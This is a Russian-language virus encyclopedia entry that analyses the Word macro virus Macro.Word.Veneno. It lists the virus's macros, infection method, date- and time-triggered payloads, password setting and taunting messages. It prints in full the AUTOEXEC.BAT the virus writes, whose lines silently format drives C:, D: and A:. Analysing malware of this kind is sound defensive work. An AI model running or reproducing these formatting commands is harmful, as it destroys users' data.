Энциклопедия компьютерных вирусов



             

Macro.Word.Veneno


Зашифрован, содержит 12 макросов: Veneno, Travel1, Travel2, AutoExec, AutoOpen, Trinitron, ArchivoAbrir, ArchivoSalir, InsertVeneno, ArchivoImprimir, ArchivoGuardarComo, ArchivoImprimirPredeter. Записывается в область глобальных макросов при открытии зараженного документа или запуске Word (AutoOpen, AutoExec), в документы записывается при их сохранении с другим именем(?) - макрос ArchivoGuardarComo. Удаляет макросы некоторых других вирусов. В 30 минут ровно создает на диске вирусный COM-файл и файл DIUR.BAT. В пятницу и субботу, если системное время меньше 5 минут, то добавляет в текст строку "** V<N<N0 **", заменяет последовательность "ste" на "stes" и устанавливает пароль на открытие документа: "Veneno". При печати, если показании счетчика системного времени более 57 секунд, вставляет в конец текста сообщение:

Finalmente me gustaria agregar que... El Centro de Computo de esta Universidad es una verdadera verguenza, no nos merecemos este servicio. >>> Shame on you!!! <<< <eof>

При заражение документа в 38 секунд выдается MessageBox:

Un amigo desesperado en busca de... Khelia Monica Salda~a Diaz, me encantas y te sigo buscando... +Donde te has escondido? Atte. Tu enamorado. (LoVe90/91)

В зависимости от датчика случайных чисел изменяет файлы:

AUTOEXEC.BAT:

@echo off PATH=C:\;C:\DOS;C:\WINDOWS;C:\ODI; Echo. Echo Insert a diskette in drive A: Echo Press any key to continue... pause > nul Format a: /autotest > nul if errorlevel 0 goto End Format d: /autotest Format c: /autotest Echo U r FuCkEd! Echo. :end Echo Ur mommy should be very happy of having such a g00d/obedient kid... jaja..asswipe!!!

CONFIG.SYS:

SHELL=C:\DOS\COMMAND.COM /F /P SWITCHES = /n /f




Содержание  Назад  Вперед